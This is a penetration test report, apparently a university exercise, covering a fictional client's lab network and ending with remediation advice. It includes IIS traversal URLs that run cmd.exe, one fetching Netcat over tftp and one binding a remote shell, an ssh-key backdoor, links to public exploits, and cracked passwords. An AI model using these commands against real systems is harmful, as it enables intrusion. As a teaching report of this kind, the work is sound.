Foobar Security Inc,
Your IT Security Solution

Penetration Test Report

Client: Logically Insecure / 2BIO706

Date of test: 23/04/2004

D I S C L A I M E R

This report is intended only for the use of the individual or entity to which it is addressed and may contain information that is privileged, confidential and exempt from disclosure under applicable law. If the reader of this disclaimer is not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this document is strictly prohibited. If you received this document in error, please notify us immediately by telephone and return the original document to us at the post address below.

Thank you

Foobar Security, Inc. - Univ. of Westminster, Harrow, HA1 3TP, UK

Contents

Chapter 1

Introduction to the penetration test

The aim of this penetration test is to help the administrator of the company to secure the network. Although this report contains technical terms, it has been written so that a non-initiated reader with a basic knowledge of computing would understand it. However, references to more technical content, to be found in the appendices, is given along the test report for the administrator and security consultant of Logically Secure to review them and possibly reproduce the test. Should the reader meet difficulties at understanding the penetration test report, going directly to the "Conclusions and Recommendations" section will give him the executive information. For further help, we remain open to answer any of your questions.

In order to increase the understanding of the reader, some definitions and clarifications are given in the following sections.

1.1 Some definitions

- **Hacker:** word given by the masse media to define what we will more accurately call attacker or intruder in this report.
- **Vulnerability:** a bug in computer program that may be abused to gain privileges on a computer.
- **Exploit:** a program or strategy to exploit a vulnerability. Depending on the vulnerability, an exploit may be either *local*, in which a previous "local" access to the target computer is required prior gain

higher privileges, or *remote* where the exploit can be run without this prerequisite.

- **Rootkit:** a set of programs replacing the tools, that an administrator would generally use to detect the presence of an intruder, by modified versions detecting everything but the presence and activities of the intruder, thus making the administrator confident that the system is free of any intrusions.

1.2 Motivation of an attacker

There are mainly three reasons why someone might want to penetrate your network.

- **Information theft:** to steal valuable information of your business such as contracts, documents or e-mail communication. In other words, information that, for example, competitors may like to know.
- **Identity theft:** by using your network as relay to attack other networks, an attacker can mask his identity.
- **Challenge to overcome:** to most attackers, your network represents a challenge that must be conquered or a way to prove their supperior intelligence and technical skills.

Understanding the psychology of an attacker helps considering why your network is at risk whenever it is connected to the Internet and how to protect it. Indeed, whatever the final motivation really is, gaining access to a network always remains a challenge for an attacker. Though intruding a network is rewarding for his ego, failing to gain the access brings a high level of frustration. An attacker, usually, doesn't give up easily and will try, again and again, by any means, to get all kind of information that might be useful to detect weaknesses and mount attacks.

Therefore, while performing the penetration test, we have been through the same stages as an attacker would have, even though our strategy or tools might be slightly differ.

1.3 Legal and ethical issues

The penetration test has been limited to the boundaries set in the contract. During our investigation, we have been able to access confidential material of your business or of your users. In order to check the presence of viruses in this material, we have been required to pass through a virus scanner all the files that we had access to. No files have been directly open, prior to asking your written permission. The only materials we have left your office with, are our notes and scan reports which will remain confidential. A copy of them has been given to your security officer before we left your office.

Chapter 2

The penetration test

To proceed to the test, the following hardware was brought to your office with your authorisation:

- 1 desktop PC, running Windows 2000
- 1 laptop computer, running Debian GNU/Linux 3.0

As a security practice, to avoid interfering with penetration test previously run with these machines, we have formated their hard disks and done a clean and up-to-date install of their operating system, prior to plug them to your network. While connected to your network, we have used the IP adresses 10.0.0.113 and 10.0.0.114, respectively for the Windows desktop PC and the Debian GNU/Linux laptop. To guarantee no leakage, from our machines, of information related to the penetration test itself, or to your network in general, their hard disks have again been safely formated before we left your office.

2.1 LogicallyInsecure.com Network

From the information given by the network administrator and detailed in the contract, the machines concerned by the test were those within the IP range 10.0.0.1-10.0.0.50. We have therefore limited our investigation exclusively to these adresses.

2.2 Footprinting

Prior to any penetration attempts, the very first thing that an attacker needs to do is gathering as many information as possible. Our first goal in this process of footprinting has been to find the machines connected to the given network. The usual method to perform this search consists in sending a kind of polite “hello” (technically called an ICMP echo request) to each IP address of the network and wait for an answer[1]. The IP adresses answering to the request are then considered as being ’up’.

To be more efficient in this first step, we have opted for the use of *fping* [FPING], a program to *ping* hosts in parallel. With the following command, we mean to send one single request to each IP address of the given range.

```
fping -a c1 -g 10.0.0.1 10.0.0.50
```

The output of the command is the list of IP adresses considered to be up and can be found in the appendix A. The test returned 15 IP adresses to be up: 10.0.0.10, 10.0.0.11, 10.0.0.12, 10.0.0.14, 10.0.0.15, 10.0.0.16, 10.0.0.18, 10.0.0.19, 10.0.0.20, 10.0.0.21 and 10.0.0.38.

We have then performed a scan targetting each of this IP addresses to determine the running operating system and open TCP ports on each host. For this purpose, we have used *Nmap* [NMAP], a network scanning tool. The following command means to scan the TCP ports and try guessing the operating system of the hosts we found at the previous stage.

```
nmap -O 10.0.0.{10,11,12,14,15,16,18,19,20,21,38}
```

The output is also to be found in the appendix A. The detected operating systems have been grouped into three categories, as show in the following table.

Windows	10.0.0.11, 10.0.0.12, 10.0.0.14, 10.0.0.16 10.0.0.18, 10.0.0.19, 10.0.0.20
GNU/Linux	10.0.0.10, 10.0.0.15, 10.0.0.21
SunOS	10.0.0.38

Although the scanner was not positive for the operating system of the host with IP address 10.0.0.12, a tool used later on during the test has proved the

[1] This echo request is generally known as a “ping”, from the name of the program commonly used to perform such requests.

machine is indeed running Windows.

Once grouped with regards to their operating system, we decided to start the further stages of footprinting on the GNU/Linux hosts.

2.3 GNU/Linux hosts

The TCP port scan on the host 10.0.0.10 has revealed numerous services to be running (see appendix A). One of them, *telnet* (a terminal emulation program allowing remote use and administration), advertises the name and version of the GNU/Linux operating system in its banner when a connection to it is initiated and therefore helped us to know that the machine is running Red Hat Linux 7.0 (Guinness). This release is known to suffer of many vulnerabilities due to security holes in services.

The next stage was to verify if these services had been updated to non-affected versions where the bugs responsible for the security holes have been fixed.

2.3.1 FTP service

We opened a connection to the *ftp* service (used to transfer files over the network) to, once again, get the banner to advertise the name of the program handling *ftp* connections and its version (see appendix B). This has revealed the use of WU-FTPD, version 2.6.1.

This version number is concerned by a vulnerability [CA-2001-33] published in November 2001 and allowing to gain, through a remote exploit, access with the privileges of the user running the service.

However, we can not blindly rely on version numbers to determine the presence of a vulnerability. Indeed, it is also possible that a patch correcting the security hole had been applied to the *ftp* program within the same version instead of upgrading to a newer and not-affected release.

Therefore we have tried to use this vulnerability by running an exploit downloaded from the following address: `http://www.the-mathclub.net/~bind/wux.c`
The output of the exploit is to be found in appendix B.

Running the exploit has successfully given us remote access, as *root*, to the machine and proved the vulnerability. Although this means that we had already gained full control of the machine, we also added our *ssh* public key to the set of authorized keys of the *root* account, thus allowing us more convenient and passwordless access through the *ssh* service (a program for logging into a remote machine and for executing commands on a remote machine).

To make it clear, this exactly means that it has been possible, since November 2001, to remotely gain full control of this machine by running exploits made available to anybody on the web.

2.3.2 OpenSSL

The machine is running a web server on port 80 and also features "secure HTTP" (HTTP over SSL) on port 443. By pointing our web browser to the URL `https://10.0.0.10` and looking at the page info, we have been able to learn that the version number of the SSL library employed for that service is 0.9.6. This version suffers of a vulnerability [CA-2002-23] discovered in July 2002 and allowing remote exploit as well. We have downloaded an exploit for this vulnerability from the following address: `http://packetstormssecurity.nl/0209-exploits/openssl-too-open.tar.gz` and run it against the machine.

The exploit successfully gave us access as the *apache* user (the user that the web server is run by). The file handling user accounts (i.e, */etc/passwd*) of the system shows us that the *apache* user can not run a *shell*. This means that we can not setup a passwordless *ssh* access as we did in the previous attack. However, at this point we have already the ability to modify the web content or to shut down the web server. Furthermore, even though the privileges of the *apache* user may seem quite limited, we will see in the next section how this first "step in" has been used to gain higher privileges by running a local exploit. The output of the previously claimed facts is to be found in appendix B.

2.3.3 Linux Kernel

The previously cited exploits enabled us to find that the Linux kernel version on this hist is 2.2.26, after typing the *uname -r* command. This version is vulnerable to a local exploit [CAN-2003-0127] published in March 2003. This exploit requires a local user account to be run in. Such an account has been already gained from the previous exploit and we have used it to download, compile and run the exploit initially made available at the following address: `http://www.securiteam.com/exploits/5CP0Q0U9FY.html`.

To sum up, the previous exploit gave us a user account with limited privileges from which we have been able to get *root* privileges by running this local exploit.

2.3.4 Other vulnerabilities and issues

According to the version of Sendmail (a mail service running on this host) shipped with this Red Hat Linux 7.0 operating system and after veification on the web site of the distributor, up to four vulnerabilities [BID-3163], [RHSA-2003-073], [RHSA-2003-120], [BID-5122] in this service could lead to remote exploits giving *root* privileges. Also according to the version of *ssh*, up to six vulnerabilities [BID-5093], [BID-4241], [BID-4560], [BID-8628], [BID-3614], [BID-2347], could be locally or remotely exploited in the *ssh* service to gain *root* privileges.

For these two services, we haven't tried to exploit any of these vulnerabilities because of the time constraints but, moreover, because the general insecurity of this machine has been clearly demonstrated.

It appears that obviously too many useless services are running on this host. Here are a few examples and their consequences:

- *telnet*: however *ssh* is aimed at replacing it and is indeed already installed, telnet is still in use. A consequence of using *telnet* over *ssh* for remote administration is that any data communicated to the service such as passwords to logging in are sent non-encrypyted over the network and can therefore potentially be sniffed.

- *finger*: this service is of no use but to give a potential attacker useful information such as which users are logged in or when they logged in last (the output of *finger* showing that we were connected as *root* from our host 10.0.0.114 can be seen in appendix B). Knowing that the admin is currently logged in or that he has not logged in for ages is a priceless information for an attacker

We have been informed by the administrator that the same password is being used for the *root* account on all GNU/Linux machines. Even though running these exploits did not give us this password, having now access to the file containing its encrypted version (ie, */etc/shadow*), we could crack it with a tool such as *john* [JOHN]. Since the other three GNU/Linux machines are running *ssh*, we would then be able to login to each of them as *root*.

2.4 Windows hosts

2.4.1 IIS vulnerability

The port scan has reported a web server running on the host with the IP address 10.0.0.14. By using our web browser to point to the adress

```
http://10.0.0.14/
```

and then by looking at the info page we were able to find that the running web server was indeed Microsoft IIS 5.0.

This version suffers of a vulnerability [BID-1806] published in October 2000 and allowing to remotely execute commands on the target host via a web browser. To run the exploit, we have tried the following URL, which embeds the *dir* command (used to the list the currently working directory), in our web browser:

```
http://10.0.0.14/scripts/..\%c0\%af../winnt/system32/cmd.exe?
/c+dir
```

The output of the command is indeed the expected directory listing, thus proving the vulnerability. (see appendix C for the output). Since we were able to remotely execute commands by embedding them in the URL, we used this opportunity to install a backdoor by performing the following two stages:

- Download of the Netcat tool [NETCAT] from a TFTP server.
  URL: `http://10.0.0.14/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp+10.0.0.200+GET+nc.exe`
- Start of Netcat to bind the command interpreter to the TCP port 5432.
  URL: `http://10.0.0.14/scripts/..%c0%af../winnt/system32/cmd.exe?/c+nc.exe+-l+-p+5432+-e+cmd.exe`

Having done that, we can use Netcat on our side to connect to the backdoor, thus remotely getting full control of the machine.

2.4.2 User accounts and password

We then ran GFI Languard [GFI-LANGUARD] (a Network Security Scanner) on the network, to gather precious information about the hosts on the network, especially the existing user accounts. The generated report, which is to be found in the attached CDROM, reports a number of issues such as unused user accounts, some of them with administrator privileges.

Since many of these several user accounts that GFI Languard has detected in the different hosts had the same (or similar) name, we guessed that they might also have the same password. Using our remote backdoor on the host 10.0.0.14, we ran the *pwdump* tool to get the encrypted passwords of its users. Although this passwords are encrypted, we cracked them with *john* and obtained the following list:

User	**Password**
dhiraj	dhiraj
groupb	groupb
ucar	ucar
chadaburls	chadhab
jones.m	1
administrator	ncc1701
user	d
anderson.c	e
user	passwor
adams.t	mistert
backup	d1

Given these passwords, we have been able to connect through the VNC service (a graphical remote administration tool) to all the other hosts and gain administrator privileges with the following user accounts and passwords:

Host IP Address	**User Account**	**Password**
10.0.0.11	administrator	ncc1701
10.0.0.12	adams.t	mistert
10.0.0.16	administrator	ncc1701
10.0.0.18	adams.t	mistert
10.0.0.18	admin	ncc1701
10.0.0.19	adams.t	ncc1701
10.0.0.20	adams.t	mistert

At this point we had gained full control of all the Windows machines. We have taken this advantage to obtain the encrypted passwords of each system and to crack them with *john*. All the accounts we were able to crack for each host are to be found in appendix C. As far as the strength of these passwords is concerned, we can tell that a brute force attack (trying all possible combinations) would have very quickly given us access with administrator privileges in many cases. Indeed some password were just one single character or the same as the user name.

2.4.3 Shared directories

Using *gnomba* [GNOMBA] (a graphical tool to browse shared directories), we have found some publicly available (ie, not password-protected) shared directories. After only quickly browsing the content of this directories, we have detected the following issues:

- Songs belonging to Caroline Anderson such as “Westlife.mp3”, “More Westlife.mp3” or “Even More West life.mp3” could help an attacker to guess that her password is “westlif”.
- Users home directories are readable, thus allowing to retrieve valuable documents and information of the company or of the users themself.
- These shared directories are writable, thus allowing to change the users profile (*NTUSER.dat* file) to, for example, have them starting malicious programs or backdoors.
- A virus has been found hidden in a file that is called “password.txt” to attract any users who tend to open any files with intriguing names.

2.5 SunOS host

We have detected some vulnerabilities in the services running on the SunOS host (IP address 10.0.0.38). The *ftp* and *smtp* (mail) services that come with this version 2.6 of SunOS are reported [BID-3581], [BID-2550], [BID-2308] to be vulnerable. However, these vulnerabilities might well be false-positive because all of them need to be tested (by running exploits) prior to confirming them. Since we could not find any published exploits, we have been unable to run the tests and therefore we can not be positive regarding these vulnerabilities.

The *telnet* service shipped with this version of SunOS as well as the *print* service suffer of vulnerabilities [SecuriTeam], [NACS]. However, while trying different exploits, we were unable to gain any access. However, this does not mean that the services are secure, we may guess that they had been updated.

Regarding this host, we have also noticed numbers of services (similar to the GNU/Linux host 10.0.0.10) that are of no use but to give valuable information to any potential attacker and also some services such as *telnet* or *rlogin* that should no longer be used because they let critical credentials (login and passwords to connect to the host) traveling in the clear over the network where they could be sniffed. Such services should be replaced by *ssh* which encrypts communication data.

The reports generated by the GFI Languard tool and by Nessus [NESSUS] (another security scanner) are to be found in the attached CDROM. Although, they advertise hundreds of security holes on your network, their report must be carefully read and interpreted, as many false-positive are to be considered.

Chapter 3

Conclusions and recommendations

3.1 General overview

We have run this penetration test in a very limited period of time and couldn't therefore detect all the security holes that a longer test would have allowed to. However, the picture drawn by our investigation shows far enough security issues to determine that the situation is currently critical. Indeed, besides one host (the SunOS server[1]), all machines on your network have been proved to be vulnerable and some of them even through several different attacks. Technical issues such as security holes contained in running services are a source of vulnerability while a poor management of user accounts, passwords and permissions has brought an additional layer of insecurity.

The most significant issue is that some vulnerabilities have been present for many years. For instance, a security hole in the *ftp* service running on the GNU/Linux host 10.0.0.10 was exploitable since November 2001 while another one in the *web* service of the Windows machine 10.0.0.14 could have been used as far back as October 2000. Furthermore, we have demonstrated that the information, such as encrypted passwords, gained through those two exploits are, in practice, enough to further compromise all the remaining GNU/Linux and Windows machines with, indeed, an extreme ease.

To make things clear, it has been feasable to remotely gain access to all your machines for the past three years. This means that it is truly possible

[1] However we haven't found any exploitable vulnerability to gain access to it (partially due to the time constraint), we can not claim that this host is not vulnerable to attacks

that someone has been monitoring all your computer-based activities and stealing your electronic material (documents, e-mails, accounting, etc) for this period of time. This also means that even if we were to investigate all your machines (to determine if this possibility is indeed the true reality) and turned out to find no such evidences, we would still be unable to claim that your network is truly free of any compromission, since the elapsed period would have given any potential attacker enough time to properly delete all traces and then hide himself with clever backdoors and rootkits. For security reasons, we strongly recommend you to consider the worst case scenario - in other words, that all machines on your network have already been compromised - prior to carry out the relevant actions with regards to this critical situation.

3.2 Recommended actions

By "relevant actions", we ideally recommend to go through the following steps:

- **Backing Up:** do a backup on tape or CD of all the data that you consider to be needed for your business and double check that what you back up does not contain any viruses. Do not backup any programs, as they may contain backdoors (their reinstallation will need to be done from the original medium).
- **Requirements learning:** get to learn what services your business requires you to run on the network as well as which users require to get access to which systems or shared directories and with which permissions.
- **Cleaning:** after formating the hard disks, do a clean install, limit the services, accesses and permission to what has been defined as truly required during the previous stage. Make sure that all running services are up-to-date.
- **Monitoring and being up-to-date:** monitor your network activity (especially at the gateway) to detect unusual activities. Check the integrity of your servers file systems to detect unexpected modification or addition of files that could turn out to be backdoors or rootkits.

- **Educating:** tell the users (from their angle) why such measures are required and what are the consequences of poor security management for the business but also for them (privacy and confidentiality of their information, documents, e-mails, etc).

However going through these steps would be ideal to carry out this critical mission, we appreciate that, from a business continuity point of view, this exact plan is not appropriate and we must define where the priorities are.

As far as the back up stage is concerned, it remains the highest priority since your business data are truly at risk. Once these data have been saved and checked to be free from any viruses, check that you are in possession of the original installation medium for all the software required by your users. Prior to any reinstallation of systems, create a list of the services that your business requires. If this list is not complete, be confident that your users will soon notice missing services after the reinstallation and inform you.

Although these tasks will not improve immediatly the security of your network, they are a solid basement to the further stage: a clean reinstallation. We advise you to start by reinstalling the gateway, because this host is where an attacker would sniff all your communication to the outside world (ie, Internet) such as e-mails. You should then reinstall the GNU/Linux servers as this task will only disrupt some services for a certain period of time but not completely avoid users to work. The more critical task comes next and consists in reinstalling the users workstations. You should start with the users who need less software and special settings. As their reinstallation will be shorter than others, you will get more potentially compromised machines out of the network quickly. Finally, generate relatively hard-to-crack passwords (containing both alphanumerical and non-alphanumerical characters) for your users and introduce them to the need of more stronger passwords.

At this point, your network will hopefully be secure. However, if you want to avoid the same critical situation to happen again, you are to monitor your network, check the integrity of your servers file systems and keep yourself informed of security updates for the services you are running. We appreciate that all of this might seem quite difficult to achieve on a day-to-day basis and therefore our company has created a security service to which our clients can subscribe and in which we offer the following options:

- **Net. Activity Monitoring$^{\mathbf{TM}}$:** we install the relevant network sensors software on your network, analyse the daily reports and contact you in case an unusual activity has been detected

- **FileSys Integrity$^{\text{TM}}$:** we install *tripwire* (the most renowned file system integrity checker) on your servers, analyse the reports and deal with you in case an integrity violation is detected. (Please note that, to guarantee the efficiency of this option, we require to install *tripwire* straight after the installation of the system and before the machine is ever plugged to the network)
- **Up2Date Services:** after you have provided us with the list of services you are running and the software you are using for that purpose (e.g., *apache* for the web), we will contact you when security patches are to be applied and give you advices.

All of this is done remotely from our office through a secure connection. All information about your network is kept confidential.

After all these is in place, we recommend to run another penetration test in order to find possible issues left over and to be addressed. Through a cycle of test, report and correction run on a regular basis, we shall not only bring but, moreover, keep your company network to a high level of security.

Chapter 4

Appendices

4.1 Appendix A

4.1.1 Output of the fping command

```
fping -a -c1 -g 10.0.0.1 10.0.0.50
10.0.0.10
10.0.0.11
10.0.0.12
10.0.0.14
10.0.0.16
10.0.0.18
10.0.0.19
10.0.0.20
10.0.0.21
10.0.0.38
```

4.1.2 Output of the Nmap scan for each IP

4.1.2.1 Host 10.0.0.10

```
Interesting ports on 10.0.0.10:
(The 1645 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
79/tcp   open  finger
80/tcp   open  http
111/tcp  open  rpcbind
113/tcp  open  auth
443/tcp  open  https
513/tcp  open  login
514/tcp  open  shell
515/tcp  open  printer
587/tcp  open  submission
1024/tcp open  kdm
Device type: general purpose
Running: Linux 2.1.X|2.2.X
OS details: Linux 2.1.19 - 2.2.25
Uptime 0.231 days (since Fri Apr 23 10:47:10 2004)
```

4.1.2.2 Host 10.0.0.11

```
Interesting ports on OTTO (10.0.0.11):
(The 1642 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
110/tcp  open  pop3
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
1080/tcp open  socks
1433/tcp open  ms-sql-s
3128/tcp open  squid-http
5800/tcp open  vnc-http
5900/tcp open  vnc
8080/tcp open  http-proxy
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP Professional RC1+ through final release
```

4.1.2.3 Host 10.0.0.12

```
Interesting ports on LENNY (10.0.0.12):
(The 1649 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
21/tcp   open  ftp
42/tcp   open  nameserver
53/tcp   open  domain
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
1029/tcp open  ms-lsa
5800/tcp open  vnc-http
5900/tcp open  vnc
No exact OS matches for host (If you know what OS is running on it, see http:
TCP/IP fingerprint:
SInfo(V=3.50%P=i686-pc-windows-windows%D=4/23%Time=4089343A%O=21%C=1)
TSeq(Class=TD%gcd=1%SI=0%IPID=BI%TS=U)
TSeq(Class=TD%gcd=1%SI=4%IPID=BI%TS=U)
TSeq(Class=TD%gcd=1%SI=0%IPID=BI%TS=U)
T1(Resp=Y%DF=Y%W=2017%ACK=S++%Flags=AS%Ops=M)
T2(Resp=N)
T3(Resp=N)
T4(Resp=N)
T5(Resp=Y%DF=N%W=0%ACK=S++%Flags=AR%Ops=)
T6(Resp=N)
T7(Resp=N)
PU(Resp=Y%DF=N%TOS=0%IPLEN=38%RIPTL=148%RIPCK=E%UCK=E%ULEN=134%DAT=E)
```

4.1.2.4 Host 10.0.0.14

```
Interesting ports on KARL (10.0.0.14):
(The 1632 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
23/tcp   open  telnet
25/tcp   open  smtp
42/tcp   open  nameserver
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
139/tcp  open  netbios-ssn
389/tcp  open  ldap
443/tcp  open  https
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
515/tcp  open  printer
636/tcp  open  ldapssl
1026/tcp open  LSA-or-nterm
1029/tcp open  ms-lsa
1080/tcp open  socks
1083/tcp open  ansoft-lm-1
1084/tcp open  ansoft-lm-2
1112/tcp open  msql
1755/tcp open  wms
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3372/tcp open  msdtc
3389/tcp open  ms-term-serv
5800/tcp open  vnc-http
5900/tcp open  vnc
6666/tcp open  irc-serv
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP Professional RC1+ through final release
```

4.1.2.5 Host 10.0.0.15

```
Interesting ports on kodos (10.0.0.15):
(The 1655 ports scanned but not shown below are in state: closed)
PORT    STATE SERVICE
81/tcp  open  hosts2-ns
222/tcp open  rsh-spx
441/tcp open  decvms-sysmgt
800/tcp open  mdbs_daemon
Device type: general purpose
Running: Linux 2.4.X
OS details: Linux 2.4.6 - 2.4.21
Uptime 2.288 days (since Wed Apr 21 09:25:49 2004)
```

4.1.2.6 Host 10.0.0.16

```
Interesting ports on KANG (10.0.0.16):
(The 1653 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1027/tcp open  IIS
5800/tcp open  vnc-http
5900/tcp open  vnc
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP Professional RC1+ through final release
```

4.1.2.7 Host 10.0.0.18

```
Interesting ports on MONTY (10.0.0.18):
(The 1654 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
5800/tcp open  vnc-http
5900/tcp open  vnc
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP Professional RC1+ through final release
```

4.1.2.8 Host 10.0.0.19

```
Interesting ports on WAYLON (10.0.0.19):
(The 1653 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1027/tcp open  IIS
5800/tcp open  vnc-http
5900/tcp open  vnc
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP Professional RC1+ through final release
```

4.1.2.9 Host 10.0.0.20

```
Interesting ports on WINDOWS_2000_SV (10.0.0.20):
(The 1631 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
7/tcp    open  echo
9/tcp    open  discard
13/tcp   open  daytime
17/tcp   open  qotd
19/tcp   open  chargen
21/tcp   open  ftp
25/tcp   open  smtp
42/tcp   open  nameserver
53/tcp   open  domain
80/tcp   open  http
119/tcp  open  nntp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
515/tcp  open  printer
548/tcp  open  afpovertcp
563/tcp  open  snews
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1029/tcp open  ms-lsa
1040/tcp open  netsaint
1755/tcp open  wms
3372/tcp open  msdtc
3389/tcp open  ms-term-serv
5800/tcp open  vnc-http
5900/tcp open  vnc
6666/tcp open  irc-serv
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP Professional RC1+ through final release
```

4.1.2.10 Host 10.0.0.21

```
Interesting ports on 10.0.0.21:
(The 1656 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
22/tcp   open  ssh
111/tcp  open  rpcbind
6000/tcp open  X11
Device type: general purpose
Running: Linux 2.4.X
OS details: Linux 2.4.6 - 2.4.21
Uptime 0.270 days (since Fri Apr 23 09:52:12 2004)
```

4.1.2.11 Host 10.0.0.38

```
Interesting ports on 10.0.0.38:
(The 1631 ports scanned but not shown below are in state: closed)
PORT      STATE    SERVICE
7/tcp     open     echo
9/tcp     open     discard
13/tcp    open     daytime
19/tcp    open     chargen
21/tcp    open     ftp
23/tcp    open     telnet
25/tcp    open     smtp
37/tcp    open     time
79/tcp    open     finger
111/tcp   open     rpcbind
512/tcp   open     exec
513/tcp   open     login
514/tcp   open     shell
515/tcp   open     printer
540/tcp   open     uucp
1103/tcp  filtered xaudio
4045/tcp  open     lockd
6000/tcp  open     X11
6112/tcp  open     dtspc
7100/tcp  open     font-service
32771/tcp open     sometimes-rpc5
32772/tcp open     sometimes-rpc7
32773/tcp open     sometimes-rpc9
32774/tcp open     sometimes-rpc11
32775/tcp open     sometimes-rpc13
32776/tcp open     sometimes-rpc15
32777/tcp open     sometimes-rpc17
32778/tcp open     sometimes-rpc19
Device type: general purpose
Running: Sun Solaris 2.X|7
OS details: Sun Solaris 2.6 - 7 (SPARC)
Uptime 0.988 days (since Thu Apr 22 16:38:49 2004)
```

4.2 Appendix B

4.2.1 Connection to telnet on 10.0.10

```
telnet 10.0.0.10
Trying 10.0.0.10...
Connected to 10.0.0.10.
Escape character is ’^]’.

Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22 on an i686
login:
```

4.2.2 Banner of FTP service

```
ncftp 10.0.0.10
NcFTP 3.1.5 (Oct 13, 2002) by Mike Gleason (ncftp@ncftp.com).
Connecting to 10.0.0.10...
10.0.0.10 FTP server ready.
Logging in...
Welcome to the FTP server -  WU-FTPD-2.6.1
[...]
```

4.2.3 Output of FTP exploit

```
#./wu -t0
wux.c - linux x86 wuftpd <= 2.6.1 remote root exploit
written by bind <bind@insidiae.org>

targets:
  -t1  wu-2.6.1-18 redhat 7.2 (Enigma)
  -t2  wu-2.6.1-16 redhat 7.1 (Seawolf)
  -t3  wu-2.6.1(1) redhat 7.0 (Guinness)
  -t4  wu-2.6.0(1) redhat 6.2 (Zoot)
  -t5  wu-2.6.0(1) redhat 6.2 (Zoot) default
  -t6  wu-2.5.0(1) redhat 6.1 (Cartman)
  -t7  wu-2.6.0(1) slackware 7.1.0
  -t8  wuftpd nudge

#./wu -t3 10.0.0.10
wux.c - linux x86 wuftpd <= 2.6.1 remote root exploit
written by bind <bind@insidiae.org>

exploiting wu-2.6.1(1) redhat 7.0 (Guinness)
using 81 byte shellcode

uid=0(root) gid=0(root) groups=0(root)
```

4.2.4 Adding the ssh public key

```
#mkdir /root/.ssh
echo ssh-dss AAAAB3NzaC1kc3MAAACBAKLY/FhMU1kbbSk4ae1HGiOXU9/s+fS64G+K0Qt8/0bK
h9bSTz00lsWs9CIiH8ShjgkEjzSmycIq5UPXrVOK+BPuQ1hvnO77kwBbDOFIWspEdz7A3XhLOORaI
F+Jbs3TbuDS5UNh/d1epyIRINyi/xDsq32VmWMqhAAAAFQC99xMTWO9W7hXjF/yJE9ev6FHzlQAAA
FY+0lSQxl3FQBcvpTTxabYtHN8pbGg4ZqqKoh/12fNQK01vwYNj0JTzBPiux9ss6FYLlsAP4/xPLl
0kSY/H3zUS3+cICieO2p/lvKpBCgduP7/3iSrJjNVl71wvJ4uTqwKXtbl1wB2fZz1LaWhGoxHyOxu
6d7mRD2/pAAAAIAlfS6vdFa8htfSL6PSsLKJN5dFNjZg1RFVPGBqnGJDeoiurlPSkTf3w3+oV7lHT
i5Kav9+l+uSmYjP9y6B5cuBfHgXPptYicslXFWkZfcW1ywvnAa8osp6qYeq+DKgZO/0lBgwA6hoFC
f152ZU73YJyfemmbT/wx2ezkRA== besnard@arm >>/root/.ssh/authorized_keys
```

4.2.5 Exploit of Apache with OpenSSL

```
#./openssl-too-open
: openssl-too-open : OpenSSL remote exploit
  by Solar Eclipse <solareclipse@phreedom.org>

Usage: ../practical/exploits/openssl-too-open [options] <host>
  -a <arch>          target architecture (default is 0x00)
  -p <port>          SSL port (default is 443)
  -c <N>             open N apache connections before sending the shellcode (
  -m <N>             maximum number of open connections (default is 50)
  -v                 verbose mode

Supported architectures:
        0x00 - Gentoo (apache-1.3.24-r2)
        0x01 - Debian Woody GNU/Linux 3.0 (apache-1.3.26-1)
        0x02 - Slackware 7.0 (apache-1.3.26)
        0x03 - Slackware 8.1-stable (apache-1.3.26)
        0x04 - RedHat Linux 6.0 (apache-1.3.6-7)
        0x05 - RedHat Linux 6.1 (apache-1.3.9-4)
        0x06 - RedHat Linux 6.2 (apache-1.3.12-2)
        0x07 - RedHat Linux 7.0 (apache-1.3.12-25)
        0x08 - RedHat Linux 7.1 (apache-1.3.19-5)
        0x09 - RedHat Linux 7.2 (apache-1.3.20-16)
        0x0a - Redhat Linux 7.2 (apache-1.3.26 w/PHP)
        0x0b - RedHat Linux 7.3 (apache-1.3.23-11)
        0x0c - SuSE Linux 7.0 (apache-1.3.12)
        0x0d - SuSE Linux 7.1 (apache-1.3.17)
        0x0e - SuSE Linux 7.2 (apache-1.3.19)
        0x0f - SuSE Linux 7.3 (apache-1.3.20)
        0x10 - SuSE Linux 8.0 (apache-1.3.23-137)
        0x11 - SuSE Linux 8.0 (apache-1.3.23)
        0x12 - Mandrake Linux 7.1 (apache-1.3.14-2)
        0x13 - Mandrake Linux 8.0 (apache-1.3.19-3)
        0x14 - Mandrake Linux 8.1 (apache-1.3.20-3)
